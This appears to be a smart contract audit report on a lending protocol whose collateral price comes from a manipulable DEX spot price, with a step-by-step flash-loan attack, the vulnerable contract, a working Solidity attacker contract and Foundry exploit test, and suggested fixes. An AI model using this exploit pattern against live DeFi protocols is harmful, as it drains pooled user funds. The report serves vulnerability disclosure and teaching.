

SECURITY AUDIT REPORT: LENDING PROTOCOL

PROJECT Lending Protocol

REPOSITORY <https://github.com/molalign8468/30-day-security-sprint>

COMMIT HASH aa55d4270bfb6d972c2139f23252d0444da5c288

AUDIT DATE April 8, 2026

AUDITOR Molalign Getahun

Executive Summary

Status: **CRITICAL RISK**

The Lending protocol is critically vulnerable to a price oracle manipulation attack that enables undercollateralized borrowing and fund theft.

The protocol relies on a spot price derived from an internal DEX (Pair) to determine collateral value. However, this price can be arbitrarily manipulated within a single transaction using a flash loan due to flaws in the AMM design.

An attacker can temporarily inflate the value of the collateral asset, deposit a minimal amount, and borrow a disproportionate amount of assets from the lending pool.

Severity	Count	Status
Critical	1	Unresolved
High	0	-
Medium	0	-
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Lending.sol	Smart Contract	deposit(),getPrice()and borrow logic
FlashLoan.sol	Smart Contract	flashLoan() logic
pair.sol	Smart Contract	_update(),getReserves(),mint(),burn() and swap()
ERC20.sol	Smart Contract	Transfer(),mint(),burn() and transferFrom()

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Pattern analysis (SC03:2026 - Price Oracle Manipulation)
- ✓ Foundry-based exploit testing

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk

Informational	Best practices
---------------	----------------

Findings Summary

ID	Severity	Title
CRIT-01	Critical	Oracle Manipulation + Broken AMM

Detailed Findings

[CRIT-01] Oracle Manipulation + Broken AMM

Severity: Critical

Location: Lending.sol:L43

Reference: SC03:2026 - Price Oracle Manipulation owasp.org/www-project-smart-contract-top-10/2026/en/src/SC03-price-oracle-manipulation.html

Description:

- The Lending contract relies on a price obtained from the Pair contract to determine the value of deposited collateral. However, the Pair contract implements a flawed AMM that does not enforce proper pricing rules.
- Because of this, an attacker can manipulate the price of the collateralToken within a single transaction using a flash loan. The manipulated price is then used by the Lending contract to calculate borrowing limits.
- This allows the attacker to deposit a small amount of collateral and borrow a disproportionately large amount of funds, leading to a loss of assets from the lending pool.

Technical Breakdown

Step 1 — Flash Loan

- ❖ Attacker borrows a large amount of borrowToken using a flash loan.

Step 2 — Manipulate DEX Price

- ❖ Sends a small amount of borrowToken to the Pair pool.
- ❖ Calls swap() to take a large amount of collateralToken.
- ❖ Collateral reserves drop → collateralToken price inflates.

Step 3 — Oracle Reads Manipulated Price

- ❖ Lending.getPrice() reads the inflated price from the Pair.
- ❖ No checks or averaging → price is trusted as accurate.

Step 4 — Deposit Collateral

- ❖ Attacker deposits a small amount of collateralToken.
- ❖ Lending system thinks it's worth much more than it really is.

Step 5 — Borrow Funds

- ❖ Attacker borrows a large amount of borrowToken based on inflated collateral.

Step 6 — Repay Flash Loan

- ❖ Flash loan is repaid within the same transaction.

Step 7 — Profit

- ❖ Attacker keeps the excess borrowToken as profit.
- ❖ Lending pool loses real funds.

Impact

- ✓ Deposit minimal collateral with artificially high valuation
- ✓ Borrow a disproportionate amount of borrowToken
- ✓ Drain liquidity from the lending pool

Risk Evaluation

- ✓ **Impact:** Critical. Drain liquidity from the lending pool and this results in direct financial loss and potential insolvency of the protocol.
- ✓ **Likelihood:** High. It requires no initial capital (leveraging flash loans), price source is fully manipulatable on-chain and There are no safeguards (TWAP, slippage checks, or oracle validation)
- ✓ **Overall Severity:** Critical.

Proof of Concept

Vulnerable Contract

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Lending {
    IERC20 public collateralToken;
    IERC20 public borrowToken;
    IPair public pair;

    mapping(address => uint) public collateral;
    mapping(address => uint) public debt;
```

```

constructor(address _collateral, address _borrowToken, address _pair){
    collateralToken = IERC20(_collateral);
    borrowToken = IERC20(_borrowToken);
    pair = IPair(_pair);
}

function deposit(uint amount) external {
    collateralToken.transferFrom(msg.sender, address(this), amount);
    collateral[msg.sender] += amount;
}

function getPrice() public view returns (uint price) {
    (uint112 r0, uint112 r1) = pair.getReserves();

    if (pair.token0() == address(collateralToken)) {
        price = uint(r1) * 1e18 / uint(r0);
    } else {
        price = uint(r0) * 1e18 / uint(r1);
    }
}

function borrow(uint amount) external {
    uint price = getPrice();
    uint collateralValue = collateral[msg.sender] * price / 1e18;

    require(collateralValue >= amount * 2, "Not enough collateral");

    debt[msg.sender] += amount;
    borrowToken.transfer(msg.sender, amount);
}
}

```

Attacker Contract

```

contract Attacker is IFlashLoanReceiver {
    ERC20 public collateralToken;
    ERC20 public borrowToken;
    FlashLoan public flashLoan;
    Pair public pair;
    Lending public lending;

    constructor(
        address _collateral,
        address _borrow,

```

```

    address _flash,
    address _pair,
    address _lending
) {
    collateralToken = ERC20(_collateral);
    borrowToken = ERC20(_borrow);
    flashLoan = FlashLoan(_flash);
    pair = Pair(_pair);
    lending = Lending(_lending);
}

function attack(uint amount) external {
    flashLoan.flashLoan(amount, address(this));
}

function execute() external {
    uint amount = borrowToken.balanceOf(address(this));

    console.log("Price BEFORE:", lending.getPrice());
    borrowToken.transfer(address(pair), 1 ether);
    pair.swap(90 ether, 0, address(this));

    uint price = lending.getPrice();
    console.log("Price AFTER:", price);

    collateralToken.mint(address(this), 1 ether);
    collateralToken.approve(address(lending), type(uint).max);
    lending.deposit(1 ether);

    uint maxBorrow = (1 ether * price / 1e18) / 2;
    uint borrowAmount = maxBorrow - 1;

    lending.borrow(borrowAmount);

    borrowToken.transfer(address(flashLoan), amount);
}
}

```

Exploit Test

```

contract VaultTest is Test {
    FlashLoan public flashLoan;
    ERC20 public collateralToken;
}

```

```

ERC20 public borrowToken;
Pair public pair;
Lending public lending;
Attacker public attacker;

function setUp() external {
    collateralToken = new ERC20();
    borrowToken = new ERC20();

    pair = new Pair(address(collateralToken), address(borrowToken));

    lending = new Lending(
        address(collateralToken),
        address(borrowToken),
        address(pair)
    );

    flashLoan = new FlashLoan(address(borrowToken));

    attacker = new Attacker(
        address(collateralToken),
        address(borrowToken),
        address(flashLoan),
        address(pair),
        address(lending)
    );

    collateralToken.mint(address(pair), 100 ether);
    borrowToken.mint(address(pair), 100 ether);
    pair.mint(address(this));

    borrowToken.mint(address(lending), 1000 ether);

    borrowToken.mint(address(flashLoan), 1000 ether);
}

function test_attack() external {
    attacker.attack(500 ether);

    console.log(
        "Attacker profit:",
        borrowToken.balanceOf(address(attacker))
    );
}

```

```
}  
}
```

Recommendations

- ✓ Use a time-weighted average price (TWAP) or external oracle like Chainlink.

```
function getTWAPPrice() public view returns (uint256) {  
    uint256 sum = 0;  
    uint256 N = 10; // last 10 blocks  
    for (uint i = 0; i < N; i++) {  
        sum += pair.getPriceAtBlock(block.number - i);  
    }  
    return sum / N;  
}
```

- ✓ Add maximum borrow limits or check price deviation/Add Slippage check

```
uint256 maxPriceChange = lastPrice * 20 / 100; // max 20% change per block  
require(  
    price <= lastPrice + maxPriceChange,  
    "Price change too high"  
);  
  
uint256 maxBorrow = (collateralAmount * price) / 2; // existing formula  
require(borrowAmount <= maxBorrow, "Borrow exceeds limit");
```

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.